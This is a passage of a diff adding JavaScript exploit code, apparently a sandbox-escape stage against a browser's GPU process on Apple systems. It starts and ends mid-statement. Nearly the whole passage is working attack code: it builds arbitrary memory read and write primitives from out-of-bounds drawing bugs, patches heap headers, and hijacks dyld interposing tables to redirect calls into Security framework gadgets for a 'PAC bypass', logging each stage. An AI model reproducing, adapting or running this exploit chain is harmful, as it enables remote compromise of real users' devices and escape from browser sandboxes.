glyphs_third_u8, new Uint8Array(draw_glyphs_third_length * 0x10), draw_glyphs_third_length, timeout = crash_timeout)) return false; + RemoteDisplayListRecorder_SetCTM(imageBufferIdentifiers[dirtyWriteIndex + 3], 0n, 0n, 0n, write_value, write_value + 0x140n, write_value + 0x140n); + if (!RemoteDisplayListRecorder_FillRect(imageBufferIdentifiers[dirtyWriteIndex + 3], 0, 0, 0, 0, true, timeout = crash_timeout)) return false; + return true; + } + function iterativeRead(address, size) { + if (dirty_read_count++ != 0) { + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, new Uint8Array(0x10), new Uint8Array(0x80), 8, timeout = crash_timeout)) return false; + } + RemoteDisplayListRecorder_SetCTM(imageBufferIdentifiers[dirtyWriteIndex + 2], size << 32n | 3n, address, 0x0000000049ac480cn, 0n, 0n, 0n); + if (!RemoteDisplayListRecorder_FillRect(imageBufferIdentifiers[dirtyWriteIndex + 2], 0, 0, 0, 0, true, timeout = crash_timeout)) return false; + const leak = RemoteGraphicsContextGL_GetShaderSource(); + if (leak.byteLength != size) { + crashGPUProcess(`leak size mismatch (expected: ${size}, actual: ${leak.byteLength})`); + return false; + } + return leak; + } + function copy_to_gpu(addr, buffer) { + ASSERT(addr > 0x100000000n, `copy_to_gpu(): tried to write to ${addr.hex()}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData, glConnection.identifier).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', BigInt(buffer.byteLength)).encode('bytes', buffer)); + } + const gpu_slow_write64_u64 = new BigUint64Array(1); + const gpu_slow_write64_u8 = new Uint8Array(gpu_slow_write64_u64.buffer); + function gpu_slow_write64(addr, value) { + ASSERT(addr > 0x100000000n, `gpu_slow_write64(): tried to write to ${addr.hex()}`); + gpu_slow_write64_u64[0] = value; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData, glConnection.identifier).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', 8n).encode('bytes', gpu_slow_write64_u8)); + } + function gpu_slow_write16(ptr, u16) { + let value = gpu_slow_read64(ptr); + value &= ~0xffffn; + value |= u16; + gpu_slow_write64(ptr, value); + } + function copy_from_gpu(addr, size, assert_enable = true) { + const data = new BigUint64Array(2); + const data_u8 = new Uint8Array(data.buffer); + data[0] = size << 32n | 3n; + data[1] = addr; + copy_to_gpu(offsets.emptyString, data_u8); + const leak = RemoteGraphicsContextGL_GetShaderSource(); + if (assert_enable) { + ASSERT(leak.byteLength == size, "gpuRead(): leak.byteLength == size"); + } + return leak; + } + function gpu_slow_read64(addr) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + const replyID = nextIdentifier(); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_GetBufferSubDataInline, glConnection.identifier).encode('uint64_t', replyID).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', 8n)); + const decoder = glConnection.receiveSyncReply(replyID); + const size = decoder.decode('uint64_t'); + const data = decoder.decode('uint64_t'); + return data; + } + function gpu_slow_read32(addr) { + return gpu_slow_read64(addr) & 0xffffffffn; + } + function crashGPUProcess(reason) { + LOG(`crashGPUProcess("${reason}")`); + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive(); + return; + } + function gpuProcessConnectionClosed() { + fcall(offsets.WebProcess_gpuProcessConnectionClosed, webProcess); + } + function ensureGPUProcessConnection() { + fcall(offsets.pthread_setspecific, runLoopHolder_tid, offsets.mainRunLoop); + fcall(offsets.WebProcess_ensureGPUProcessConnection, webProcess); + fcall(offsets.pthread_setspecific, runLoopHolder_tid, 0n); + } + function respawn_gpu_process_and_retry() { + print("[sbx0] stage2b: respawning GPU process"); + LOG(`[-] going to respawn gpu process`); + gpuProcessConnectionClosed(); + ensureGPUProcessConnection(); + gpuProcessConnection = read64(webProcess + 0x158n); + LOG(`new gpuProcessConnection: ${gpuProcessConnection.hex()}`); + const connection = read64(gpuProcessConnection + 0x20n); + LOG(`waiting for sendPort`); + read64_biguint64arr[1] = connection + 0x138n; + while (!read64_str.charCodeAt(0)); + LOG(`received sendPort`); + const maybe_port = read32(connection + 0x138n); + LOG(`maybe_port: ${maybe_port.hex()}`); + gpuConnection = new Connection(connection, true, "respawned gpu connection"); + gpuProcessConnectionIdentifier = read64(gpuProcessConnection + offsets.m_gpuProcessConnection_m_identifier); + SBX0(); + return false; + } + function findGPUConnectionToWebProcess() { + let our_GPUConnectionToWebProcess = NaN; + const m_webProcessConnections_Map = gpu_slow_read64(offsets.GPUProcess_singleton + offsets.m_webProcessConnections); + const m_webProcessConnections_MapData = gpu_slow_read_hashmap(m_webProcessConnections_Map); + for (const identifier of m_webProcessConnections_MapData.keys()) { + const current_GPUConnectionToWebProcess = m_webProcessConnections_MapData.get(identifier); + const m_remoteGraphicsContextGL_Map = gpu_slow_read64(current_GPUConnectionToWebProcess + offsets.GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap); + if (m_remoteGraphicsContextGL_Map) { + const m_remoteGraphicsContextGL_MapData = gpu_slow_read_hashmap(m_remoteGraphicsContextGL_Map); + if (m_remoteGraphicsContextGL_MapData.get(glConnection.identifier)) { + our_GPUConnectionToWebProcess = current_GPUConnectionToWebProcess; + LOG(`Found our GPUConnectionToWebProcess: ${our_GPUConnectionToWebProcess.hex()}`); + break; + } + } + } + return our_GPUConnectionToWebProcess; + } + function restoreCoreAnimationHeaders(restoration_count = 4) { + let our_GPUConnectionToWebProcess = findGPUConnectionToWebProcess(); + if (our_GPUConnectionToWebProcess) { + let our_RenderingBackend = NaN; + const m_remoteRenderingBackend_Map = gpu_slow_read64(our_GPUConnectionToWebProcess + offsets.m_remoteRenderingBackendMap); + if (m_remoteRenderingBackend_Map) { + const m_remoteRenderingBackend_MapData = gpu_slow_read_hashmap(m_remoteRenderingBackend_Map); + our_RenderingBackend = m_remoteRenderingBackend_MapData.get(backendConnection.identifier); + } + if (our_RenderingBackend) { + LOG(`Found our RenderingBackend: ${our_RenderingBackend.hex()}`); + const m_remoteDisplayLists = gpu_slow_read64(our_RenderingBackend + offsets.m_remoteDisplayLists); + if (m_remoteDisplayLists) { + LOG(`m_remoteDisplayLists: ${m_remoteDisplayLists.hex()}`); + const m_remoteDisplayListsMapData = gpu_slow_read_hashmap(m_remoteDisplayLists); + for (let i = 0; i < restoration_count; i++) { + const remote_display_list_recorder = m_remoteDisplayListsMapData.get(imageBufferIdentifiers[i]); + if (remote_display_list_recorder) { + LOG(`Image ID: ${imageBufferIdentifiers[i].hex()} - remote_display_list_recorder: ${remote_display_list_recorder.hex()}`); + const m_imageBuffer = gpu_slow_read64(remote_display_list_recorder + offsets.m_imageBuffer); + LOG(`\tm_imageBuffer: ${m_imageBuffer.hex()}`); + const m_backend = gpu_slow_read64(m_imageBuffer + offsets.m_backend); + LOG(`\tm_backend: ${m_backend.hex()}`); + const m_platformContext = gpu_slow_read64(m_backend + offsets.m_platformContext); + LOG(`\tm_platformContext: ${m_platformContext.hex()}`); + const CGContextDelegate = gpu_slow_read64(m_platformContext + offsets.CGContextDelegate); + LOG(`\tCGContextDelegate: ${CGContextDelegate.hex()}`); + const IOSurfaceContextDelegate = gpu_slow_read64(CGContextDelegate + offsets.IOSurfaceContextDelegate); + LOG(`\tIOSurfaceContextDelegate: ${IOSurfaceContextDelegate.hex()}`); + const IOSurfaceDrawable = gpu_slow_read64(IOSurfaceContextDelegate + offsets.IOSurfaceDrawable); + LOG(`\tIOSurfaceDrawable: ${IOSurfaceDrawable.hex()}`); + const IOSurfaceQueue = gpu_slow_read64(IOSurfaceDrawable + offsets.IOSurfaceQueue); + LOG(`\tIOSurfaceQueue: ${IOSurfaceQueue.hex()}`); + const CAPointer = gpu_slow_read64(IOSurfaceQueue + offsets.CAPointer); + LOG(`\tCAPointer: ${CAPointer.hex()}`); + LOG("\tCA Header Before restoration"); + for (let j = 0; j < 5; j++) { + LOG(`\t\t${(CAPointer + BigInt(j) * 8n).hex()} : ${gpu_slow_read64(CAPointer + BigInt(j) * 8n).hex()}`); + } + gpu_slow_write64(CAPointer, 0x0n); + gpu_slow_write64(CAPointer + 0x8n, 0x0n); + gpu_slow_write64(CAPointer + 0x10n, 0x4000n); + gpu_slow_write64(CAPointer + 0x18n, 0x4000n); + gpu_slow_write64(CAPointer + 0x20n, CAPointer); + LOG("\tCA Header After restoration"); + for (let j = 0; j < 5; j++) { + LOG(`\t\t${(CAPointer + BigInt(j) * 8n).hex()} : ${gpu_slow_read64(CAPointer + BigInt(j) * 8n).hex()}`); + } + } + } + } + } + } + } + if (retry_count == 1) { + crashGPUProcess('process cleanup'); + return respawn_gpu_process_and_retry(); + } + const backendConnection = new StreamClientConnection(nextIdentifier(), 0x100000n); + const glConnection = new StreamClientConnection(nextIdentifier(), 0x30000n); + LOG(`backendConnection.identifier: ${backendConnection.identifier.hex()}`); + LOG(`glConnection.identifier: ${glConnection.identifier.hex()}`); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection); + GPUConnectionToWebProcess_CreateGraphicsContextGL(); + RemoteGraphicsContextGL_Reshape(); + initGLProgram(); + if (!oob()) { + LOG("GPU crashed at agx oob"); + return respawn_gpu_process_and_retry(); + } + if (!preparePrimitives()) { + LOG("GPU crashed at CoreAnimation oob"); + return respawn_gpu_process_and_retry(); + } + gpu_slow_write64(offsets.free_slabs, 0n); + LOG(`offsets.free_slabs: ${offsets.free_slabs.hex()}`); + restoreCoreAnimationHeaders(restoration_count = 4); + sbx0_rw_end = Date.now(); + LOG(`[profiler] sbx0 (read/write) took ${sbx0_rw_end - sbx0_rw_begin}ms`); + print("[sbx0] stage4: R/W done (" + (sbx0_rw_end - sbx0_rw_begin) + "ms), PAC bypass start"); + LOG('gpu pac bypass start'); + const sbx0_pac_begin = Date.now(); + const backendConnection2 = new StreamClientConnection(nextIdentifier(), 0x4000n); + const backendConnection3 = new StreamClientConnection(nextIdentifier(), 0x4000n); + const backendConnection4 = new StreamClientConnection(nextIdentifier(), 0x4000n); + LOG(`backendConnection2.identifier: ${backendConnection2.identifier.hex()}`); + LOG(`backendConnection3.identifier: ${backendConnection3.identifier.hex()}`); + LOG(`backendConnection4.identifier: ${backendConnection4.identifier.hex()}`); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection2); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection3); + GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection4); + const imageBufferIdentifier1 = RemoteRenderingBackend_CreateImageBuffer(backendConnection2); + LOG(`imageBufferIdentifier1: ${imageBufferIdentifier1.hex()}`); + const imageBufferIdentifier2 = RemoteRenderingBackend_CreateImageBuffer(backendConnection2); + LOG(`imageBufferIdentifier2: ${imageBufferIdentifier2.hex()}`); + const imageBufferIdentifier3 = RemoteRenderingBackend_CreateImageBuffer(backendConnection3); + LOG(`imageBufferIdentifier3: ${imageBufferIdentifier3.hex()}`); + const imageBufferIdentifier4 = RemoteRenderingBackend_CreateImageBuffer(backendConnection3); + LOG(`imageBufferIdentifier4: ${imageBufferIdentifier4.hex()}`); + const imageBufferIdentifier5 = RemoteRenderingBackend_CreateImageBuffer(backendConnection4); + LOG(`imageBufferIdentifier5: ${imageBufferIdentifier5.hex()}`); + const imageBufferIdentifier6 = RemoteRenderingBackend_CreateImageBuffer(backendConnection4); + LOG(`imageBufferIdentifier6: ${imageBufferIdentifier6.hex()}`); + function gpu_slow_read_hashmap(map_ptr, key_size = 8n, element_size = 8n) { + const map_length = gpu_slow_read64(map_ptr - 8n) >> 32n; + const entry_size = key_size + element_size; + const buffer_size = entry_size * map_length; + const map_buffer = copy_from_gpu(map_ptr, buffer_size); + const map_buffer_u64 = new BigUint64Array(map_buffer); + const res = new Map(); + for (let offset = 0n; offset < buffer_size; offset += entry_size) { + const key = map_buffer_u64[offset / 8n]; + if (key) { + const value = map_buffer_u64[(offset + key_size) / 8n]; + res.set(key, value); + } + } + return res; + } + const webProcessConnectionsMap = gpu_slow_read64(offsets.GPUProcess_singleton + 0x80n); + LOG(`webProcessConnectionsMap: ${webProcessConnectionsMap.hex()}`); + const webProcessConnectionsMapData = gpu_slow_read_hashmap(webProcessConnectionsMap); + LOG(`webProcessConnectionsMap.size: ${webProcessConnectionsMapData.size}`); + let myWebProcessConnection; + let remoteRenderingBackend2; + let remoteRenderingBackend3; + let remoteRenderingBackend4; + for (const identifier of webProcessConnectionsMapData.keys()) { + const webProcessConnection = webProcessConnectionsMapData.get(identifier); + LOG(` [${identifier.hex()}] (WebProcess)${webProcessConnection.hex()}`); + const remoteRenderingBackendMap = gpu_slow_read64(webProcessConnection + 0xe8n); + LOG(` .remoteRenderingBackendMap = ${remoteRenderingBackendMap.hex()}`); + if (remoteRenderingBackendMap) { + const remoteRenderingBackendMapData = gpu_slow_read_hashmap(remoteRenderingBackendMap); + if (remoteRenderingBackendMapData.get(backendConnection2.identifier)) { + myWebProcessConnection = webProcessConnection; + remoteRenderingBackend2 = remoteRenderingBackendMapData.get(backendConnection2.identifier); + remoteRenderingBackend3 = remoteRenderingBackendMapData.get(backendConnection3.identifier); + remoteRenderingBackend4 = remoteRenderingBackendMapData.get(backendConnection4.identifier); + break; + } + } + } + ASSERT(myWebProcessConnection, 'myWebProcessConnection not found'); + LOG(`myWebProcessConnection: ${myWebProcessConnection.hex()}`); + ASSERT(remoteRenderingBackend2); + LOG(`remoteRenderingBackend2: ${remoteRenderingBackend2.hex()}`); + ASSERT(remoteRenderingBackend3); + LOG(`remoteRenderingBackend3: ${remoteRenderingBackend3.hex()}`); + ASSERT(remoteRenderingBackend4); + LOG(`remoteRenderingBackend4: ${remoteRenderingBackend4.hex()}`); + const remoteImageBuffersMap2 = gpu_slow_read64(remoteRenderingBackend2 + 0x78n); + ASSERT(remoteImageBuffersMap2); + LOG(`remoteImageBuffersMap2: ${remoteImageBuffersMap2.hex()}`); + const remoteImageBuffersMap3 = gpu_slow_read64(remoteRenderingBackend3 + 0x78n); + ASSERT(remoteImageBuffersMap3); + LOG(`remoteImageBuffersMap3: ${remoteImageBuffersMap3.hex()}`); + const remoteImageBuffersMap4 = gpu_slow_read64(remoteRenderingBackend4 + 0x78n); + ASSERT(remoteImageBuffersMap4); + LOG(`remoteImageBuffersMap4: ${remoteImageBuffersMap4.hex()}`); + const remoteImageBuffersMapData2 = gpu_slow_read_hashmap(remoteImageBuffersMap2); + const remoteImageBuffersMapData3 = gpu_slow_read_hashmap(remoteImageBuffersMap3); + const remoteImageBuffersMapData4 = gpu_slow_read_hashmap(remoteImageBuffersMap4); + const remoteImageBuffer1 = remoteImageBuffersMapData2.get(imageBufferIdentifier1); + LOG(`remoteImageBuffer1: ${remoteImageBuffer1.hex()}`); + const remoteImageBuffer2 = remoteImageBuffersMapData2.get(imageBufferIdentifier2); + LOG(`remoteImageBuffer2: ${remoteImageBuffer2.hex()}`); + const remoteImageBuffer3 = remoteImageBuffersMapData3.get(imageBufferIdentifier3); + LOG(`remoteImageBuffer3: ${remoteImageBuffer3.hex()}`); + const remoteImageBuffer4 = remoteImageBuffersMapData3.get(imageBufferIdentifier4); + LOG(`remoteImageBuffer4: ${remoteImageBuffer4.hex()}`); + const remoteImageBuffer5 = remoteImageBuffersMapData4.get(imageBufferIdentifier5); + LOG(`remoteImageBuffer5: ${remoteImageBuffer5.hex()}`); + const remoteImageBuffer6 = remoteImageBuffersMapData4.get(imageBufferIdentifier6); + LOG(`remoteImageBuffer6: ${remoteImageBuffer6.hex()}`); + const imageBuffer1 = gpu_slow_read64(remoteImageBuffer1 + 0x18n); + LOG(`imageBuffer1: ${imageBuffer1.hex()}`); + const imageBuffer2 = gpu_slow_read64(remoteImageBuffer2 + 0x18n); + LOG(`imageBuffer2: ${imageBuffer2.hex()}`); + const imageBuffer3 = gpu_slow_read64(remoteImageBuffer3 + 0x18n); + LOG(`imageBuffer3: ${imageBuffer3.hex()}`); + const imageBuffer4 = gpu_slow_read64(remoteImageBuffer4 + 0x18n); + LOG(`imageBuffer4: ${imageBuffer4.hex()}`); + const imageBuffer5 = gpu_slow_read64(remoteImageBuffer5 + 0x18n); + LOG(`imageBuffer5: ${imageBuffer5.hex()}`); + const imageBuffer6 = gpu_slow_read64(remoteImageBuffer6 + 0x18n); + LOG(`imageBuffer6: ${imageBuffer6.hex()}`); + gpu_slow_write64(imageBuffer1 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection2, imageBufferIdentifier1); + const NSBundleTables = gpu_slow_read64(offsets.Foundation__NSBundleTables_bundleTables_value); + LOG(`NSBundleTables: ${NSBundleTables.hex()}`); + const loadedFrameworks = gpu_slow_read64(NSBundleTables + 0x20n); + LOG(`loadedFrameworks: ${loadedFrameworks.hex()}`); + const loadedFrameworks_length = gpu_slow_read64(loadedFrameworks + 0x30n); + LOG(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); + const loadedFrameworks_buffer = gpu_slow_read64(loadedFrameworks + 8n); + LOG(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); + for (let i = 0n; i < loadedFrameworks_length; ++i) { + const bundle = gpu_slow_read64(loadedFrameworks_buffer + 8n * i); + if (bundle <= 0x1_00000000n) continue; + LOG(`bundle[${i}]: ${bundle.hex()}`); + const initialPath = gpu_slow_read64(bundle + 0x28n); + if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; + TextToSpeech_NSBundle = bundle; + break; + } + LOG(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); + const TextToSpeech_CFBundle = gpu_slow_read64(TextToSpeech_NSBundle + 0x10n); + LOG(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); + function gpu_slow_write8(ptr, u16) { + let value = gpu_slow_read64(ptr); + value &= ~0xffn; + value |= u16; + gpu_slow_write64(ptr, value); + } + gpu_slow_write64(TextToSpeech_NSBundle + 8n, 0x40008n); + gpu_slow_write8(TextToSpeech_CFBundle + 0x34n, 0n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); + gpu_slow_write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + gpu_slow_write64(imageBuffer2 + 0x20n, offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit); + RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection2, imageBufferIdentifier2); + const runtimeState = gpu_slow_read64(offsets.libdyld__gAPIs); + LOG(`runtimeState: ${runtimeState.hex()}`); + const runtimeStateLock = gpu_slow_read64(runtimeState + 0x70n); + LOG(`runtimeStateLock: ${runtimeStateLock.hex()}`); + const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; + LOG(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); + const p_InterposeTupleAll_size = runtimeState + 0xc0n; + LOG(`p_InterposeTupleAll_size: ${p_InterposeTupleAll_size.hex()}`); + const runtimeState_vtable = gpu_slow_read64(runtimeState).noPAC(); + LOG(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); + const dyld_emptySlot = gpu_slow_read64(runtimeState_vtable).noPAC(); + LOG(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); + const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; + LOG(`dyld_offset: ${dyld_offset.hex()}`); + let dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; + LOG(`dlopen_from_lambda_ret: ${dlopen_from_lambda_ret.hex()}`); + dlopen_from_lambda_ret = dlopen_from_lambda_ret & 0xffffffffn; + const workQueue = gpu_slow_read64(remoteRenderingBackend2 + 0x20n); + LOG(`workQueue: ${workQueue.hex()}`); + const backend2_processingThread = gpu_slow_read64(workQueue + 0x30n); + LOG(`backend2_processingThread: ${backend2_processingThread.hex()}`); + const stack_bottom = gpu_slow_read64(backend2_processingThread + 0x10n); + LOG(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = gpu_slow_read64(backend2_processingThread + 0x18n); + LOG(`stack_top: ${stack_top.hex()}`); + while (true) { + const lr = gpu_slow_read64(stack_bottom - 0x18c8n) & 0xffff_ffffn; + if (lr == dlopen_from_lambda_ret) break; + } + LOG('RemoteRenderingBackend2 has been mutex-locked'); + const loader = stack_bottom - 0x18c8n + 0x78n; + LOG(`loader: ${loader.hex()}`); + let bss = offsets.DesktopServicesPriv_bss; + LOG(`bss: ${bss.hex()}`); + function alloc_bss(size) { + const res = bss; + bss += size; + return res; + } + const prev_metadata_ptr = alloc_bss(0x10n); + LOG(`prev_metadata_ptr: ${prev_metadata_ptr.hex()}`); + const metadata_ptr = alloc_bss(0x10n); + LOG(`metadata_ptr: ${metadata_ptr.hex()}`); + const invoker_arg = alloc_bss(0x10n); + LOG(`invoker_arg: ${invoker_arg.hex()}`); + const invoker_x0 = alloc_bss(0x60n); + LOG(`invoker_x0: ${invoker_x0.hex()}`); + const gSecurityd = alloc_bss(0x100n); + LOG(`gSecurityd: ${gSecurityd.hex()}`); + const slowFcallResult = alloc_bss(0x10n); + LOG(`slowFcallResult: ${slowFcallResult.hex()}`); + const gpu_string_buffer = alloc_bss(0x20n); + LOG(`gpu_string_buffer: ${gpu_string_buffer.hex()}`); + const signPointerSelf = alloc_bss(0x10n); + LOG(`signPointerSelf: ${signPointerSelf.hex()}`); + const interposingTuples_ptr = alloc_bss(0x100n); + LOG(`interposingTuples_ptr: ${interposingTuples_ptr.hex()}`); + gpu_slow_write64(prev_metadata_ptr, prev_metadata_ptr); + gpu_slow_write64(prev_metadata_ptr + 8n, 1n); + gpu_slow_write64(metadata_ptr, prev_metadata_ptr); + gpu_slow_write64(metadata_ptr + 8n, metadata_ptr + 0x10n - interposingTuples_ptr | 1n); + gpu_slow_write64(loader, p_InterposeTupleAll_buffer - 0x10n); + gpu_slow_write64(loader + 8n, metadata_ptr + 0x10n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + gpu_slow_write64(imageBuffer3 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection3, imageBufferIdentifier3); + while (true) { + const InterposeTupleAll_buffer = gpu_slow_read64(p_InterposeTupleAll_buffer); + if (InterposeTupleAll_buffer) { + LOG(`InterposeTupleAll_buffer: ${InterposeTupleAll_buffer.hex()}`); + break; + } + sleep(10); + } + LOG(`RemoteRenderingBackend2 has been spin-locked`); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 8n, 0x40008n); + gpu_slow_write8(TextToSpeech_CFBundle + 0x34n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); + gpu_slow_write64(imageBuffer4 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection3, imageBufferIdentifier4); + const backend3_workQueue = gpu_slow_read64(remoteRenderingBackend3 + 0x20n); + LOG(`backend3_workQueue: ${backend3_workQueue.hex()}`); + const backend3_processingThread = gpu_slow_read64(backend3_workQueue + 0x30n); + LOG(`backend3_processingThread: ${backend3_processingThread.hex()}`); + const backend3_stack_bottom = gpu_slow_read64(backend3_processingThread + 0x10n); + LOG(`backend3_stack_bottom: ${backend3_stack_bottom.hex()}`); + const backend3_stack_top = gpu_slow_read64(backend3_processingThread + 0x18n); + LOG(`backend3_stack_top: ${backend3_stack_top.hex()}`); + while (true) { + const lr = gpu_slow_read64(backend3_stack_bottom - 0x17a8n) & 0xffff_ffffn; + if (lr == dlopen_from_lambda_ret) break; + sleep(10); + } + LOG('RenderingBackend3 has been mutex-locked'); + const backend3_loader = backend3_stack_bottom - 0x17a8n + 0x78n; + LOG(`backend3_loader: ${backend3_loader.hex()}`); + gpu_slow_write64(metadata_ptr + 8n, metadata_ptr + 0x10n - 0x100n | 1n); + gpu_slow_write64(backend3_loader, p_InterposeTupleAll_size - 0x10n); + gpu_slow_write64(backend3_loader + 8n, metadata_ptr + 0x10n); + gpu_slow_write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + gpu_slow_write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + gpu_slow_write64(TextToSpeech_NSBundle + 0x40n, 0n); + gpu_slow_write64(runtimeStateLock + 0x20n, 0n); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); + gpu_slow_write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); + gpu_slow_write64(imageBuffer5 + 0x20n, offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); + RemoteRenderingBackend_ReleaseImageBuffer(backendConnection4, imageBufferIdentifier5); + while (true) { + const ptr = gpu_slow_read64(p_InterposeTupleAll_size); + if (ptr === 0x100n) break; + sleep(10); + } + LOG('RenderingBackend3 has been spin-locked'); + let fontIdentifier = 0x1234n; + LOG(`fontIdentifier: ${fontIdentifier.hex()}`); + function cacheFont() { + backendConnection4.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_CacheFont, backendConnection4.identifier).encode('uint8_t', 1).encode('uint64_t', fontIdentifier).encode('uint8_t', 1).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('float', 10).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint32_t', 0x80010000).encode8BitString('file:///System/Library/Fonts/Core/Helvetica.ttc#postscript-name=Helvetica').encode8BitString('Helvetica').encode('uint8_t', 0)); + } + function releaseFont() { + backendConnection4.sendMessage(new Encoder(MessageName.RemoteRenderingBackend_ReleaseRenderingResource, backendConnection4.identifier).encode('uint64_t', fontIdentifier)); + backendConnection4.processOutOfStreamMessageAndWait(); + } + const initMediaAccessibilityMACaptionAppearanceGetDisplayType = gpu_slow_read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); + LOG(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); + gpu_slow_write64(offsets.WebCore__softLinkOTSVGOTSVGTableRelease, initMediaAccessibilityMACaptionAppearanceGetDisplayType); + let interpose_index = 0n; + function interpose(ptr, val) { + gpu_slow_write64(interposingTuples_ptr + interpose_index * 0x10n, val); + gpu_slow_write64(interposingTuples_ptr + interpose_index * 0x10n + 8n, ptr); + interpose_index += 1n; + } + interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); + let resourceCacheMap; + function invoke(x0) { + cacheFont(); + if (!resourceCacheMap) { + resourceCacheMap = gpu_slow_read64(remoteRenderingBackend4 + 0x40n); + LOG(`resourceCacheMap: ${resourceCacheMap.hex()}`); + } + const font = 